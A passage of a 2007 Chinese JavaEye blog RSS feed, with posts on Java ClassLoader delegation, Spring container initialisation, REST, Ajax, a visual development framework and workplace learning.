<br /><br />	当运行一个程序的时候，JVM启动，运行bootstrap classloader，该ClassLoader加载java核心API（ExtClassLoader和AppClassLoader也在此时被加载），然后调用ExtClassLoader加载扩展API，最后AppClassLoader加载CLASSPATH目录下定义的Class，这就是一个程序最基本的加载流程。<br /><br />	上面大概讲解了一下ClassLoader的作用以及一个最基本的加载流程，接下来将讲解一下ClassLoader加载的方式，这里就不得不讲一下ClassLoader在这里使用了双亲委托模式进行类加载。<br /><br />	每一个自定义ClassLoader都必须继承ClassLoader这个抽象类，而每个ClassLoader都会有一个parent ClassLoader，我们可以看一下ClassLoader这个抽象类中有一个getParent()方法，这个方法用来返回当前ClassLoader的parent，注意，这个parent不是指的被继承的类，而是在实例化该ClassLoader时指定的一个ClassLoader，如果这个parent为null，那么就默认该ClassLoader的parent是bootstrap classloader，这个parent有什么用呢？<br /><br />	我们可以考虑这样一种情况，假设我们自定义了一个ClientDefClassLoader，我们使用这个自定义的ClassLoader加载java.lang.String，那么这里String是否会被这个ClassLoader加载呢？事实上java.lang.String这个类并不是被这个ClientDefClassLoader加载，而是由bootstrap classloader进行加载，为什么会这样？实际上这就是双亲委托模式的原因，因为在任何一个自定义ClassLoader加载一个类之前，它都会先委托它的父亲ClassLoader进行加载，只有当父亲ClassLoader无法加载成功后，才会由自己加载，在上面这个例子里，因为java.lang.String是属于java核心API的一个类，所以当使用ClientDefClassLoader加载它的时候，该ClassLoader会先委托它的父亲ClassLoader进行加载，上面讲过，当ClassLoader的parent为null时，ClassLoader的parent就是bootstrap classloader，所以在ClassLoader的最顶层就是bootstrap classloader，因此最终委托到bootstrap classloader的时候，bootstrap classloader就会返回String的Class。<br /><br />	我们来看一下ClassLoader中的一段源代码：<br /><pre name="code" class="java">
    protected synchronized Class loadClass(String name, boolean resolve)
	throws ClassNotFoundException
    {
	// 首先检查该name指定的class是否有被加载
	Class c = findLoadedClass(name);
	if (c == null) {
	    try {
		if (parent != null) {
		    //如果parent不为null，则调用parent的loadClass进行加载
c = parent.loadClass(name, false);
		} else {
			//parent为null，则调用BootstrapClassLoader进行加载
		    c = findBootstrapClass0(name);
		}
	    } catch (ClassNotFoundException e) {
	        //如果仍然无法加载成功，则调用自身的findClass进行加载			
	        c = findClass(name);
	    }
	}
	if (resolve) {
	    resolveClass(c);
	}
	return c;
    }
</pre><br /><br />	从上面一段代码中，我们可以看出一个类加载的大概过程与之前我所举的例子是一样的，而我们要实现一个自定义类的时候，只需要实现findClass方法即可。<br /><br />	为什么要使用这种双亲委托模式呢？<br /><br />	第一个原因就是因为这样可以避免重复加载，当父亲已经加载了该类的时候，就没有必要子ClassLoader再加载一次。<br />	<br />	第二个原因就是考虑到安全因素，我们试想一下，如果不使用这种委托模式，那我们就可以随时使用自定义的String来动态替代java核心api中定义类型，这样会存在非常大的安全隐患，而双亲委托的方式，就可以避免这种情况，因为String已经在启动时被加载，所以用户自定义类是无法加载一个自定义的ClassLoader。<br /><br />	上面对ClassLoader的加载机制进行了大概的介绍，接下来不得不在此讲解一下另外一个和ClassLoader相关的类，那就是Class类，每个被ClassLoader加载的class文件，最终都会以Class类的实例被程序员引用，我们可以把Class类当作是普通类的一个模板，JVM根据这个模板生成对应的实例，最终被程序员所使用。<br /><br />我们看到在Class类中有个静态方法forName，这个方法和ClassLoader中的loadClass方法的目的一样，都是用来加载class的，但是两者在作用上却有所区别。<br />Class&lt;?> loadClass(String name) <br />Class&lt;?> loadClass(String name, boolean resolve)<br />我们看到上面两个方法声明，第二个方法的第二个参数是用于设置加载类的时候是否连接该类，true就连接，否则就不连接。<br /><br />说到连接，不得不在此做一下解释，在JVM加载类的时候，需要经过三个步骤，装载、连接、初始化。装载就是找到相应的class文件，读入JVM，初始化就不用说了，最主要就说说连接。<br /><br />连接分三步，第一步是验证class是否符合规格，第二步是准备，就是为类变量分配内存同时设置默认初始值，第三步就是解释，而这步就是可选的，根据上面loadClass方法的第二个参数来判定是否需要解释，所谓的解释根据《深入JVM》这本书的定义就是根据类中的符号引用查找相应的实体，再把符号引用替换成一个直接引用的过程。有点深奥吧，呵呵，在此就不多做解释了，想具体了解就翻翻《深入JVM吧》，呵呵，再这样一步步解释下去，那就不知道什么时候才能解释得完了。<br /><br />我们再来看看那个两个参数的loadClass方法，在JAVA API 文档中，该方法的定义是protected，那也就是说该方法是被保护的，而用户真正应该使用的方法是一个参数的那个，一个参数的loadclass方法实际上就是调用了两个参数的方法，而第二个参数默认为false，因此在这里可以看出通过loadClass加载类实际上就是加载的时候并不对该类进行解释，因此也不会初始化该类。而Class类的forName方法则是相反，使用forName加载的时候就会将Class进行解释和初始化，forName也有另外一个版本的方法，可以设置是否初始化以及设置ClassLoader，在此就不多讲了。<br /><br />不知道上面对这两种加载方式的解释是否足够清楚，就在此举个例子吧，例如JDBC DRIVER的加载，我们在加载JDBC驱动的时候都是使用的forName而非是ClassLoader的loadClass方法呢？我们知道，JDBC驱动是通过DriverManager，必须在DriverManager中注册，如果驱动类没有被初始化，则不能注册到DriverManager中，因此必须使用forName而不能用loadClass。<br /><br />	通过ClassLoader我们可以自定义类加载器，定制自己所需要的加载方式，例如从网络加载，从其他格式的文件加载等等都可以，其实ClassLoader还有很多地方没有讲到，例如ClassLoader内部的一些实现等等，本来希望能够讲得简单易懂一点，可是结果自己看回头好像感觉并不怎么样，郁闷，看来自己的文笔还是差太多了，希望能够给一些有需要的朋友一点帮助吧。
          <br/>
          <span style="color:red;">
            <a href="http://calmness.javaeye.com/blog/83978#comments" style="color:red;">本文的讨论也很精彩，浏览讨论>></a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">北京: 千橡集团暨校内网诚聘软件研发工程师</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Mon, 28 May 2007 22:24:42 +0800</pubDate>
        <link>http://calmness.javaeye.com/blog/83978</link>
        <guid>http://calmness.javaeye.com/blog/83978</guid>
      </item>
      <item>
        <title>无法理解的抱怨，让人羡慕的机会</title>
        <author>calmness</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://calmness.javaeye.com">calmness</a>&nbsp;
          链接：<a href="http://calmness.javaeye.com/blog/81893" style="color:red;">http://calmness.javaeye.com/blog/81893</a>&nbsp;
          发表时间: 2007年05月22日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          昨天碰到一个大学同学，由于他考研究生，所以去年才毕业正式出来工作，在北京找了一家公司做GIS开发，一份我认为很不错的工作，然而他却有所抱怨，因为他参加工作之前并非是做java开发，而且对java也不了解，是参加工作之后因公司的要求才学习java的，而由于他是java新手，所以在公司大部分时间都是学习，公司并没有给他下达任何一项实际的任务，所以他一直在抱怨自己没有任务，没有得到锻炼，技术也一直上不去，因此他想换一家公司。<br /><br />	对于此，我真的是无法理解，其实现在很多刚刚参加工作的新人，都有我这个同学这样的想法，包括我们公司也有，其实我很羡慕我的同学，因为公司肯给时间给机会他学习，我觉得这是个非常难得的机会，一个公司肯一开始不给任务你，让你利用公司的资源进行学习，工资还照常发放，这种机会可不是人人都有的，既然你有就要好好珍惜，公司不给任务你，第一个考虑的是你暂时无法胜任，第二个就是希望给予你更多的时间去学习，有的人可能会说，没有参与项目我怎么锻炼自己的技术啊？我觉得这种问题不应该出现在程序员身上吧？想锻炼自己的技术还需要公司来给你安排任务吗？公司不给你项目，难道你不会自己去模拟一个小项目来做？公司有钱发给你，有资源和时间给你利用，还有同事可以让你请教，如果连这种环境下你都无法自觉的去锻炼自己，我只能说程序员这个职业并不适合你，我也是如此和我同学说的，希望他能够理解吧，为什么我就没有如此的机会呢？郁闷ing。。。。。。
          <br/>
          <span style="color:red;">
            <a href="http://calmness.javaeye.com/blog/81893#comments" style="color:red;">本文的讨论也很精彩，浏览讨论>></a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">北京: 千橡集团暨校内网诚聘软件研发工程师</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Tue, 22 May 2007 16:20:50 +0800</pubDate>
        <link>http://calmness.javaeye.com/blog/81893</link>
        <guid>http://calmness.javaeye.com/blog/81893</guid>
      </item>
      <item>
        <title>Re: 关于Spring中的父容器和子容器</title>
        <author>calmness</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://calmness.javaeye.com">calmness</a>&nbsp;
          链接：<a href="http://calmness.javaeye.com/blog/81866" style="color:red;">http://calmness.javaeye.com/blog/81866</a>&nbsp;
          发表时间: 2007年05月22日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          <pre name="code" class="java">
	protected WebApplicationContext createWebApplicationContext(
			ServletContext servletContext, ApplicationContext parent) throws BeansException {
		Class contextClass = determineContextClass(servletContext);
		if (!ConfigurableWebApplicationContext.class.isAssignableFrom(contextClass)) {
			throw new ApplicationContextException("Custom context class [" + contextClass.getName() +
					"] is not of type ConfigurableWebApplicationContext");
		}

		ConfigurableWebApplicationContext wac =
				(ConfigurableWebApplicationContext) BeanUtils.instantiateClass(contextClass);
		wac.setParent(parent);
		wac.setServletContext(servletContext);
                //获取spring配置文件信息，在web.xml中的contextConfigLocation中
		<span style="color: red">String configLocation = servletContext.getInitParameter(CONFIG_LOCATION_PARAM);
		if (configLocation != null) {
			wac.setConfigLocations(StringUtils.tokenizeToStringArray(configLocation,
					ConfigurableWebApplicationContext.CONFIG_LOCATION_DELIMITERS));
		}

		wac.refresh();  </span>
		return wac;
	}
</pre><br /><br />这里一次性读取了contextConfigLocation下的所有配置文件，然后wac.refresh()中将这些配置进行解释注册到一个beanfactory中，所以在这里是没有区分父子的，这些配置都会注册到同一个容器当中。<br /><br />再来看看refresh方法，由于spring内部的类层次比较复杂，在此就直接列出它最终调用的那个refresh方法：<br /><br /><br /><pre name="code" class="java">
	public void refresh() throws BeansException, IllegalStateException {
		synchronized (this.startupShutdownMonitor) {
			this.startupTime = System.currentTimeMillis();

			//初始化context内部的beanfactory
			<span style="color: red">refreshBeanFactory();</span>
			ConfigurableListableBeanFactory beanFactory = getBeanFactory();

			// Populate the bean factory with context-specific resource editors.
			ConfigurableBeanFactoryUtils.registerResourceEditors(beanFactory, this);
			beanFactory.registerCustomEditor(Class.class, new ClassEditor(getClassLoader()));

			// Configure the bean factory with context semantics.
			beanFactory.addBeanPostProcessor(new ApplicationContextAwareProcessor(this));
			beanFactory.ignoreDependencyInterface(ResourceLoaderAware.class);
			beanFactory.ignoreDependencyInterface(ApplicationEventPublisherAware.class);
			beanFactory.ignoreDependencyInterface(MessageSourceAware.class);
			beanFactory.ignoreDependencyInterface(ApplicationContextAware.class);

			// Allows post-processing of the bean factory in context subclasses.
			postProcessBeanFactory(beanFactory);

			// Invoke factory processors registered with the context instance.
			for (Iterator it = getBeanFactoryPostProcessors().iterator(); it.hasNext();) {
				BeanFactoryPostProcessor factoryProcessor = (BeanFactoryPostProcessor) it.next();
				factoryProcessor.postProcessBeanFactory(beanFactory);
			}

			if (logger.isInfoEnabled()) {
				if (getBeanDefinitionCount() == 0) {
					logger.info("No beans defined in application context [" + getDisplayName() + "]");
				}
				else {
					logger.info(getBeanDefinitionCount() + " beans defined in application context [" + getDisplayName() + "]");
				}
			}

			// Invoke factory processors registered as beans in the context.
			invokeBeanFactoryPostProcessors();

			// Register bean processors that intercept bean creation.
			registerBeanPostProcessors();

			// Initialize message source for this context.
			initMessageSource();

			// Initialize event multicaster for this context.
			initApplicationEventMulticaster();

			// Initialize other special beans in specific context subclasses.
			onRefresh();

			// Check for listener beans and register them.
			registerListeners();

			// Instantiate singletons this late to allow them to access the message source.
			beanFactory.preInstantiateSingletons();

			// Last step: publish corresponding event.
			publishEvent(new ContextRefreshedEvent(this));
		}
	}
</pre><br /><br />后面的不管它，只需要看refreshBeanFactory()这个方法，这里实际上就是创建一个新的beanfactory，然后将web.xml中设置的几个配置文件进行解释和注册：<br /><pre name="code" class="java">
	protected final void refreshBeanFactory() throws BeansException {
		// Shut down previous bean factory, if any.
		if (this.beanFactory != null) {
			this.beanFactory.destroySingletons();
			this.beanFactory = null;
		}

		// Initialize fresh bean factory.
		try {
                        //创建新的beanfactory
			DefaultListableBeanFactory beanFactory = createBeanFactory();
                        //加载bean定义到beanfactory
			<span style="color: red">loadBeanDefinitions(beanFactory);</span>
			this.beanFactory = beanFactory;
			if (logger.isInfoEnabled()) {
				logger.info("Bean factory for application context [" + getDisplayName() + "]: " + beanFactory);
			}
		}
		catch (IOException ex) {
			throw new ApplicationContextException(
					"I/O error parsing XML document for application context [" + getDisplayName() + "]", ex);
		}
	}
</pre><br /><br />初始化web容器时，实际上只用了一个beanFactory加载了在contextConfigLocation下配置的所有xml，所以这里并无父子容器之分。详细如何解释加载，LZ可自行去看，在此就不多说了。
          <br/>
          <span style="color:red;">
            <a href="http://calmness.javaeye.com/blog/81866#comments" style="color:red;">本文的讨论也很精彩，浏览讨论>></a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">北京: 千橡集团暨校内网诚聘软件研发工程师</span></a></li><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Tue, 22 May 2007 15:03:35 +0800</pubDate>
        <link>http://calmness.javaeye.com/blog/81866</link>
        <guid>http://calmness.javaeye.com/blog/81866</guid>
      </item>
      <item>
        <title>REST，仅仅四种方法足够吗？</title>
        <author>calmness</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://calmness.javaeye.com">calmness</a>&nbsp;
          链接：<a href="http://calmness.javaeye.com/blog/81091" style="color:red;">http://calmness.javaeye.com/blog/81091</a>&nbsp;
          发表时间: 2007年05月19日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          这段时间一直都在关注关于REST的话题，由于水平有限，加上没有实际的REST经验，所以有些地方仍然不太了解，网上最近有不少关于REST的争论，我发现很大部分是针对于REST把请求限制在GET、POST、PUT、DELETE是否足够的问题，刚开始认识rest的时候，我对此也非常的怀疑，但是现在我却对REST的四种方式不足够的论点持有怀疑了，原因很简单，那就是一直以来我们所有的请求都是基于GET和POST的，所有的操作都抽象成了GET和POST，既然如此，现在我们不但没有减少，反而增加了两个方法的支持，难道还不如仅仅使用GET和POST吗？？？所以我现在认为，就这四种方法，绝对是足够了。<br />    原因很简单吧，呵呵，我没有丰富的REST经验，也没有各位高手的水平，仅仅只是从常理进行判断，如有不正确之处，请。
          <br/>
          <span style="color:red;">
            <a href="http://calmness.javaeye.com/blog/81091#comments" style="color:red;">本文的讨论也很精彩，浏览讨论>></a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">北京: 千橡集团暨校内网诚聘软件研发工程师</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Sat, 19 May 2007 11:56:38 +0800</pubDate>
        <link>http://calmness.javaeye.com/blog/81091</link>
        <guid>http://calmness.javaeye.com/blog/81091</guid>
      </item>
      <item>
        <title>一个让我想立刻撞墙的开发框架</title>
        <author>calmness</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://calmness.javaeye.com">calmness</a>&nbsp;
          链接：<a href="http://calmness.javaeye.com/blog/80504" style="color:red;">http://calmness.javaeye.com/blog/80504</a>&nbsp;
          发表时间: 2007年05月17日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          一大早来到公司，按照旧习惯肯定是第一时间打开计划，翻阅今天所要做的事，然后就开始工作，可是事实上今天的心情却极度的郁闷，一直没有过的情绪不停在脑海里翻转着，昨天下午，公司另一个项目小组向我们展示了他们现在所使用的一个技术框架，就是这个所谓的框架让我一夜无法入睡。<br /><br />如今的企业开发越来越复杂，而为了解决这些复杂性而出现的技术框架也越来越多，作为程序员对一些主流的技术框架的接触是必不可少的，框架的出现，让开发企业级应用变得更简单，避免重复制造轮子，有效的对应用进行了层次的划分，分离了业务等等，这一切都显得是那么的合理，就像是这个世界本来就是如此一样。然而昨天的那个展示却彻底的摧毁了我一直以来的看法，在昨天展示的那个框架中，或者不应该叫框架了，而应该叫一个WEB版的可视化IDE，使用这个系统，程序员不需要写任何的代码，像VB这些IDE一样的可视化界面，但是却不需要写一行代码，逻辑完全是可视化配置，从前台到后台数据库无所不能，程序员对应用的开发维护就完全围绕这个web IDE，应用改变不需要重新编译和发布，可以立刻看到改变的效果，这样就可以直接去客户的公司根据客户的要求立刻在现场改变应用给客户看效果，可以立时得到用户反馈等等，好处实在太多了，rails开发已经足够快了，可是使用这个系统，速度就更不用说了，我只用一个数据来证明吧，该项目小组自从完成了这个系统之后，去年一年时间开发人员（包括实施）只有3个人，而去年一年时间就那3个人就完成了7个完全独立的项目，再想想自己所在的项目组，一个项目做了一两年，我真有点想立刻撞墙死了算了。<br />这个系统现在已经基本完善，还有些小东西需要修改，面对这样一个系统，我真的怀疑那些所谓的应用框架还有用吗？程序员不再需要开发和维护代码，那么框架存在的价值也就值得怀疑了，做应用的程序员还有用武之地吗？唉，有点不敢接受现实。牢骚发完了，工作还是要做地，就发到这里了。
          <br/>
          <span style="color:red;">
            <a href="http://calmness.javaeye.com/blog/80504#comments" style="color:red;">本文的讨论也很精彩，浏览讨论>></a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">北京: 千橡集团暨校内网诚聘软件研发工程师</span></a></li><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Thu, 17 May 2007 10:00:57 +0800</pubDate>
        <link>http://calmness.javaeye.com/blog/80504</link>
        <guid>http://calmness.javaeye.com/blog/80504</guid>
      </item>
      <item>
        <title>Re: 给Ajax技术初学者的一些建议</title>
        <author>calmness</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://calmness.javaeye.com">calmness</a>&nbsp;
          链接：<a href="http://calmness.javaeye.com/blog/79531" style="color:red;">http://calmness.javaeye.com/blog/79531</a>&nbsp;
          发表时间: 2007年05月13日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          我对AJAX不是很熟悉，在此也发表一点自己的看法，有误论请指正。<br /><br />在上面jindw把ajax当作是DHTML的延伸，从技术上来看，这种看法应该是正确的，然而我认为并不能将ajax仅仅当作一种技术来看待，在很多人的概念里面，ajax就是XMLHttpRequest，这更是谬误，没有XMLHttpRequest，也许就不可能有今天的ajax，但是ajax并不是XMLHttpRequest（至少我是如此认为），我觉得更应该将ajax提升到一个解决方案或思想的层次上，一个通过javascript解决实际应用中各种问题的一个整体方案，因为ajax，REST架构得以完好的实现，企业应用从服务器端转移到客户端，但它没有新的东西，更多的是对各种技术的融合，它是一个方案一个思想，通过对旧有技术的完好整合，把web应用提升到了一个新的层次。<br /><br />总的来说，ajax让我们看到了一直存在却又一直被忽视的东西，也许有一天javascript被替代，XML被替代，而如果替代这些技术的技术仅仅只是为了让开发类似ajax应用的方式更简单更容易，没有了javascript没有了xml，ajax的名字也不再适合，那么ajax应用是否就真的从此消失了？也许在每个使用新技术的应用里，所带给用户的体验就是ajax应用所带来的体验，仅仅只不过是利用新技术开发这些应用比javascript+xml更简单更容易罢了。是否该埋怨ajax的名字起得不好呢？呵呵。
          <br/>
          <span style="color:red;">
            <a href="http://calmness.javaeye.com/blog/79531#comments" style="color:red;">本文的讨论也很精彩，浏览讨论>></a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">北京: 千橡集团暨校内网诚聘软件研发工程师</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Sun, 13 May 2007 23:29:02 +0800</pubDate>
        <link>http://calmness.javaeye.com/blog/79531</link>
        <guid>http://calmness.javaeye.com/blog/79531</guid>
      </item>
      <item>
        <title>[转]Sun将推替代AJAX的网络开发技术</title>
        <author>calmness</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://calmness.javaeye.com">calmness</a>&nbsp;
          链接：<a href="http://calmness.javaeye.com/blog/76771" style="color:red;">http://calmness.javaeye.com/blog/76771</a>&nbsp;
          发表时间: 2007年05月03日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          据国外媒体报道，Sun微系统公司官员近日表示，Sun正在开发一种新的网络应用开发技术，这种技术有可能替代非同步Java描述语言(AJAX)和XML。 <br /><br />详细内容请查看：<br /><br /><a href="http://www.matrix.org.cn/resource/news/Sun+AJAX_46a17a81-f83e-11db-a6cd-b9a60c34107a.html" target="_blank">http://www.matrix.org.cn/resource/news/Sun+AJAX_46a17a81-f83e-11db-a6cd-b9a60c34107a.html</a>
          <br/>
          <span style="color:red;">
            <a href="http://calmness.javaeye.com/blog/76771#comments" style="color:red;">本文的讨论也很精彩，浏览讨论>></a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">北京: 千橡集团暨校内网诚聘软件研发工程师</span></a></li><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Thu, 03 May 2007 10:40:23 +0800</pubDate>
        <link>http://calmness.javaeye.com/blog/76771</link>
        <guid>http://calmness.javaeye.com/blog/76771</guid>
      </item>
  </channel>
</rss>